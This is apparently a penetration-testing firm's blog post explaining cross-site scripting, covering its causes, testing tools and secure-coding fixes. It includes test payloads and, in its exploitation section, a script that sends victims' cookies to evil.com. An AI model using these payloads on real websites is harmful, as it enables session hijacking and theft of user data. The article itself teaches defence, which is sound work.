Our Services

  • Penetration Testing (Web Application, Mobile Application, Network)
  • Static Application Security Testing (SAST)
  • Dynamic Code Analysis (DCA)
  • AWS Cloud Solutions

Cross-Site Scripting (XSS) Explained: How Hackers Inject Code into Your Website & How to Stop It

Introduction

Cross-Site Scripting XSS is a common but dangerous web application vulnerability that allows attackers to inject malicious scripts into websites. These scripts are then executed by the browsers of other users, leading to data theft, session hijacking, or redirection to malicious sites. In this guide, you’ll learn what XSS is, how it works, how to detect it, and most importantly, how to prevent it.

What is Cross-Site Scripting XSS

Cross-Site Scripting XSS is a vulnerability that occurs when an application includes untrusted data in a web page without proper validation or escaping. This allows attackers to run scripts in the browsers of other users.

Example:
Suppose a comment section accepts and displays HTML without filtering. An attacker might post:

<script>alert('Hacked!');</script>

Any user who views this comment will have the script executed in their browser.

Why Does XSS Happen

XSS vulnerabilities are typically caused by poor handling of user input and lack of output encoding.

Common Causes:

  • Accepting user input without validation or sanitization

  • Rendering user input directly in HTML or JavaScript

  • Using innerHTML or document.write unsafely

  • Poor use of client-side frameworks that manipulate the DOM

Misconceptions:

  • HTTPS protects against XSS: It does not.

  • Only old websites are affected: Even modern apps can have XSS issues.

  • It’s just a harmless popup: XSS can lead to full session hijacking.

Real-World Incidents

  1. Twitter 2010: A self-replicating XSS worm spread via tweets and affected thousands of users.

  2. eBay: Numerous persistent XSS vulnerabilities were reported in product listings.

  3. CVE-2020-11022: DOM-based XSS in jQuery before version 3.5.0

These incidents show that even large platforms are vulnerable to XSS if not properly handled.

How to Find XSS Vulnerabilities

Test Input Points:

  • URL query parameters: search, page, user_id

  • Form inputs: comment boxes, contact forms

  • Headers: Referer, User-Agent

  • Path or fragment data in the URL

Manual Testing:

  • Inject test payloads like <script>alert('XSS')</script>

  • Use image-based payloads like <img src=x onerror=alert(1)>

  • Observe if the script is reflected in the output

Automated Testing:

  • Use Burp Suite’s Active Scanner

  • Use OWASP ZAP’s automated spider and scan

  • Use XSStrike for intelligent XSS payload injection

Tools for Testing

Tool - Type - Use Case
Burp Suite - Manual and Automated - Intercept and scan HTTP requests
OWASP ZAP - Automated - Fuzzing and spidering
XSStrike - Automated - XSS vulnerability detection
Postman - Manual - API testing
Chrome DevTools - Manual - DOM inspection

How XSS is Exploited

Steps attackers take:

  1. Find an input that reflects output

  2. Inject a script payload

  3. Trick or wait for a user to view the page

  4. The browser executes the script

Example of a malicious payload:

<script>fetch('https://evil.com?cookie=' + document.cookie)</script>

This script sends the victim's cookies to an attacker-controlled server.

Mitigation and Prevention

Secure Coding Practices:

  • Validate and sanitize all user input

  • Escape output using context-specific encoding

  • Avoid using dangerous functions like innerHTML

  • Use frameworks that auto-escape output by default

Set Security Headers:

  • Content-Security-Policy CSP to block inline scripts

  • X-Content-Type-Options to prevent MIME-type sniffing

  • X-XSS-Protection to block reflected XSS in some browsers

Code Examples

Vulnerable JavaScript Code: 
document.getElementById("output").innerHTML = location.search;

Secure JavaScript Code: 
const params = new URLSearchParams(location.search);
const safeText = document.createTextNode(params.get("data"));
document.getElementById("output").appendChild(safeText);

Conclusion

XSS is a powerful attack that can cause major damage to users and your application. Despite being preventable, it remains common due to poor coding practices and lack of input/output handling. Developers and testers must treat XSS as a critical issue and apply secure development techniques to prevent it.

FAQs

  1. Is XSS still relevant in 2025?
    Yes. It remains in the OWASP Top 10 and is commonly found in many modern applications.

  2. Can XSS steal passwords or sessions?
    Yes. If an attacker can access session cookies or tokens, they can hijack accounts.

  3. Is XSS only in forms?
    No. XSS can occur in query parameters, headers, URL paths, and even WebSocket data.

Call to Action

If you found this helpful:

  • Share this post with your network to raise awareness

  • Leave a comment with your thoughts or experiences

  • Subscribe for more web security content every week

Keywords: Cross-Site Scripting, XSS, web security, JavaScript injection, secure coding, OWASP Top 10, ethical hacking, bug bounty

Comments

Dipak Prajapati

Co-Founder

Penetration Tester | Ethical Hacker

6+ Years in Bug Bounty & Pen-testing, Acknowledged by 70+ Organizations,
Specializing in Web, Mobile & API Security Testing

In a world that relies on technology for nearly every aspect of daily life, I founded this cybersecurity company with a clear mission: to protect individuals, businesses, and institutions from the rising tide of digital threats. Having witnessed firsthand the consequences of data breaches, cyberattacks, and vulnerabilities in crucial systems, I knew the time had come for a more proactive, intelligent approach to security.

Our purpose is to create a safer digital landscape, where innovation can thrive without fear. Through cutting-edge security solutions—whether it's penetration testing, application security, or cloud infrastructure protection—we empower organizations to take control of their digital assets and defend themselves against evolving cyber risks.

I believe in a future where security isn’t a barrier to progress but a foundation for growth, and our company exists to make that future possible.